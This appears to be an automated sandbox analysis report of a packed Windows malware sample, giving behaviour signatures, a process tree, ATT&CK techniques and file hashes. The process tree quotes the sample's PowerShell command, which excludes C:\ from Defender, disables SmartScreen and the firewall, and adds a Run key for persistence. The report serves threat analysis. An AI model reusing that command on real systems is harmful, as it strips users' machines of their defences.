Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    15-02-2022 07:34

General

  • Target

    a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99.exe

  • Size

    3.3MB

  • MD5

    54da56b5f62fedb130a09c3bdc7c8e08

  • SHA1

    1c5f44b45d798534f3d047d8f2596439ba02140c

  • SHA256

    a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99

  • SHA512

    c76c39305b9f216a114b255c3388c40e0981cd2a6a41ff7aab10d3ce346349910a200ad3e16cf570909752d64f726e3b04d2ba07209a207e6311cc3d78d2fefc

Malware Config

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99.exe
    "C:\Users\Admin\AppData\Local\Temp\a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99.exe"
    1⤵
    • Checks BIOS information in registry
    • Drops startup file
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
      2⤵
      • Modifies security service
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1212
      • C:\ProgramData\UpSys.exe
        "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1648
        • C:\ProgramData\UpSys.exe
          "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:532
          • C:\ProgramData\UpSys.exe
            "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
            5⤵
            • Executes dropped EXE
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1316
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
              6⤵
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1144
      • C:\Windows\system32\netsh.exe
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        3⤵
          PID:1636
    • C:\Windows\system32\makecab.exe
      "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220215073448.log C:\Windows\Logs\CBS\CbsPersist_20220215073448.cab
      1⤵
      • Drops file in Windows directory
      PID:900

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    2
    T1031

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    3
    T1112

    Virtualization/Sandbox Evasion

    1
    T1497

    Install Root Certificate

    1
    T1130

    Discovery

    Query Registry

    2
    T1012

    Virtualization/Sandbox Evasion

    1
    T1497

    System Information Discovery

    3
    T1082

    Command and Control

    Web Service

    1
    T1102

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    Downloads

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • \ProgramData\MicrosoftNetwork\System.exe
      MD5

      54da56b5f62fedb130a09c3bdc7c8e08

      SHA1

      1c5f44b45d798534f3d047d8f2596439ba02140c

      SHA256

      a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99

      SHA512

      c76c39305b9f216a114b255c3388c40e0981cd2a6a41ff7aab10d3ce346349910a200ad3e16cf570909752d64f726e3b04d2ba07209a207e6311cc3d78d2fefc

    • \ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • \ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • memory/1144-82-0x000000000247B000-0x000000000249A000-memory.dmp
      Filesize

      124KB

    • memory/1144-81-0x0000000002474000-0x0000000002477000-memory.dmp
      Filesize

      12KB

    • memory/1144-80-0x0000000002472000-0x0000000002474000-memory.dmp
      Filesize

      8KB

    • memory/1144-78-0x000007FEF59BE000-0x000007FEF59BF000-memory.dmp
      Filesize

      4KB

    • memory/1144-79-0x0000000002470000-0x0000000002472000-memory.dmp
      Filesize

      8KB

    • memory/1144-77-0x000007FEF31D0000-0x000007FEF3D2D000-memory.dmp
      Filesize

      11.4MB

    • memory/1212-63-0x00000000027C2000-0x00000000027C4000-memory.dmp
      Filesize

      8KB

    • memory/1212-67-0x00000000027CB000-0x00000000027EA000-memory.dmp
      Filesize

      124KB

    • memory/1212-64-0x00000000027C4000-0x00000000027C7000-memory.dmp
      Filesize

      12KB

    • memory/1212-62-0x00000000027C0000-0x00000000027C2000-memory.dmp
      Filesize

      8KB

    • memory/1212-61-0x000007FEF5DDE000-0x000007FEF5DDF000-memory.dmp
      Filesize

      4KB

    • memory/1212-59-0x000007FEF36B0000-0x000007FEF420D000-memory.dmp
      Filesize

      11.4MB

    • memory/1724-55-0x000000013F8B0000-0x00000001401B8000-memory.dmp
      Filesize

      9.0MB

    • memory/1724-54-0x000000013F8B0000-0x00000001401B8000-memory.dmp
      Filesize

      9.0MB

    • memory/1724-56-0x0000000077C20000-0x0000000077C22000-memory.dmp
      Filesize

      8KB

    • memory/1724-57-0x000007FEFC451000-0x000007FEFC453000-memory.dmp
      Filesize

      8KB